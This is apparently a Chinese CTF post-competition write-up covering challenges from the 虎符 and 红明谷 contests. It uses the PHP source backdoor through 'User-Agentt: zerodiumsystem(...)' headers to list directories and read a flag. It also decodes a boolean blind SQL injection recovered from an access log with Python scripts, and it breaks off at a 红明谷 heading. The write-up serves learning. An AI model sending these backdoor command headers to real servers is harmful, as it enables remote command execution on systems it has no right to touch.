虎符+红明谷+ctfshow渔人杯赛后复现

本文详细复盘了多个CTF比赛中的挑战,包括通过PHP源代码分析获取flag,布尔盲注日志解析,短标签PHP过滤绕过,RAR伪加密解密,Java盲水印解码,HTTP流量包分析以及图片隐写等技巧,展示了Web安全和日志分析的实战应用。

记录最近几场比赛的赛后复现

虎符CTF

Web-签到

在这里插入图片描述
参考详细分析PHP源代码后门事件及其供应链安全启示

根据文章提示,添加恶意请求头

User-Agentt: zerodiumphpinfo();

可以看到phpinfo内容
在这里插入图片描述
继续构造,查看根目录下的文件

User-Agentt: zerodiumsystem('ls /');

在这里插入图片描述
读取flag文件

User-Agentt: zerodiumsystem('cat /flag');

在这里插入图片描述

MISC-你会日志分析吗

在这里插入图片描述
分析日志,该日志应该是用脚本进行布尔盲注,最后一步是爆flag的值,发现有两种长度的包,猜测长度377代表爆值成功,长度399代表失败
在这里插入图片描述
列出长度为377的值

90 109 120 104 90 51 116 90 98 51 86 102 89 88 74 108 88 51 78 118 88 50 100 121 90 87 70 48 102 81 61 61

使用脚本进行处理

import base64

a=[90,109,120,104,90,51,116,90,98,51,86,102,89,88,74,108,88,51,78,118,88,50,100,121,90,87,70,48,102,81,61,61]
flag=''
for i in a:
    flag=flag+chr(i)
    
print(flag)
print(base64.b64decode(flag))

得到

ZmxhZ3tZb3VfYXJlX3NvX2dyZWF0fQ==
b'flag{You_are_so_great}'

一个一个找长度为377的包太麻烦了,附上大师傅的脚本:

from base64 import *

flag = ''
with open('access.log','r') as f:
    lines = f.readlines()
    for line in lines:
        if "select%20flag%20from%20flllag" in line:
            packet_len = line[line.find(' 200 ')+5:line.find(' "-" "python-requests/2.21.0"')]
            if packet_len == '377':
                ascii_code = line[line.find('))=')+3:line.find(',sleep')]
                ascii_str = chr(int(ascii_code))
                flag += ascii_str
            else:
                pass
        else:
            pass

print(b64decode(flag).decode('utf-8'))

红明谷CTF

Web-write_shell

没报上名,在BUU上面找到的环境

评论 2
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

Atkxor

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值